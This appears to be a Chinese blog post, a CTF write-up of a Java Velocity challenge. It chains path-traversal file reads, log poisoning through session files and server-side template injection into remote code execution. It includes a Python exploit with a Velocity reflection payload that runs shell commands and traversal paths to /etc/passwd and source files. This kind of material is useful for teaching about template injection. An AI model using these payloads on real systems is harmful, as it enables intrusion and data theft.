抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

最近忙着复习去了。等到中午概统的复习课结束了才有时间完整看下题。除开一道web-pwn,剩下两个php都是常规考点,就是脑洞跟环境真心恶心人。学弟们也轻松解决,应该不需要什么记录。我自己做了下zblog这道java题,简单记录下。

最近ciscn赛区第7打进分区赛。强网杯跟着SU拿了第12。(就是自己太捞了,难题一律卡壳,果然不好好研究php跟java是没有出路的).然后为了国赛出了道Node.js不知道有没有机会拿到别的赛区去,估计真拿了会丢人吧。复习的时间也很少。不知道考试会不会炸……但是每次结束一个阶段总要写写文章的。所以形式化地写写。

zblog

简单java.就是环境卡的要死。

title参数存在文件读取。后面看源码会发现是任意模板文件渲染的。
这里没记错的话有个小细节就是不能随便插../来穿越路径。后面会发现它是拼接路径的所以路径不能随便构造。而且似乎一开始尝试读文件的时候有点迷。文件末尾加了个/才能读到,不加读不到。不知道是什么神必操作。然后后来好像又给修好了???

总之fuzz一下可以找到根目录的位置读到/etc/passwd。接着读下/proc/self/cmdline

java -jar /home/ctf/web/target/web-1.0-SNAPSHOT-jar-with-dependencies.jar

个人觉得python跟java环境在有arbitary file read的情况下读下cmdline挺重要的。基本都会暴露绝对路径。比如此处。
更重要的是这个target.写过maven项目的都知道maven build好的内容都放在target文件夹下。所以这里基本确定能够确定按maven项目结构来读文件。

只要知道结构就等于把所有文件都暴露出来了。

先读下pom.xml。发现

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>ctf</groupId>
    <artifactId>web</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporing.outputEncoding>UTF-8</project.reporing.outputEncoding>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.sparkjava</groupId>
            <artifactId>spark-core</artifactId>
            <version>2.9.2</version>
        </dependency>
        <dependency>
            <groupId>com.sparkjava</groupId>
            <artifactId>spark-template-velocity</artifactId>
            <version>2.7.1</version>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.30</version>
        </dependency>
        <dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity</artifactId>
            <version>1.7</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <archive>
                        <manifest>
                            <mainClass>Blog</mainClass>
                        </manifest>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assemble</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>

        </plugins>
    </build>

</project>

从mainclass这里的值可以看出加载的主类Blog.class。按照maven默认没有包的结构直接读../../../../src/main/java/Blog.java

import static spark.Spark.*;
import java.io.*;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import spark.template.velocity.VelocityTemplateEngine;


import java.io.StringWriter;

public class Blog {

    private static void log(String fname, String content) {
        try {
            FileWriter writer = new FileWriter(fname, true);
            writer.write(content);
            writer.close();
        } catch (IOException e) {

        }
    }

    public static void main(String[] arg) {
        staticFiles.location("/public");

        VelocityEngine velocityEngine = new VelocityEngine();
        velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
        velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "/");
        velocityEngine.init();
        VelocityContext context = new VelocityContext();

        get("/", (request, response) -> {
            request.session(true);
            String title = request.queryParams("title");
            if (title != null) {
                log("/tmp/" + request.session().id(), "Client IP: " + request.ip() + " -> File: " + title + "\n");
                Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/" + title);
                StringWriter sw = new StringWriter();
                template.merge(context, sw);
                return sw;
            }
            Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/index");
            StringWriter sw = new StringWriter();
            template.merge(context, sw);
            return sw;
        });
    }
}

代码逻辑是title参数除了会按值找到对应模板文件渲染。还会将参数按照sessionid存储到tmp/下。那么此处应该先传payload再进行渲染。即可触发ssti达成rce.
session为node0wjq18duzt9pg4ddli5qyyfqn3034.node0这种形式。id去掉.node0即可。

简单写个exp

import requests


url='http://122.112.253.135/'

session='node0wjq18duzt9pg4ddli5qyyfqn3034.node0'
id=session.rstrip('.node0')
'''
data={'title':'../../../../src/main/java/Blog.java'}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)
'''
data={'title':"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('grep -r flag /tmp')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
data={'title':'../../../../../../../tmp/'+id}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)

这个payload是找了个velocity回显的payload写的。逻辑上还是反射就不多说了。其实之前学习JavaSec那个项目里的sstipayload也能执行。但是似乎外带时有点问题。

唯一比较狗的就是flag在/tmp下。在tmp列目录会因为session文件太多进行相关操作直接卡死。一个个试发现最后只有grep -r flag /tmp不会卡。做完后发现换了个节点,flag放根目录了……

就这么多吧。希望新学期一切顺利。比赛成绩能更进一步。整个暑假学习的知识,做过的题,打过的比赛让这两个月没有荒废,收获还是挺大的。比较可惜的是本来打算跟完的Commoncollections几条链子以及jackson,shiro等等exp的原理没能全部完成。希望过段时间能把坑填了。

评论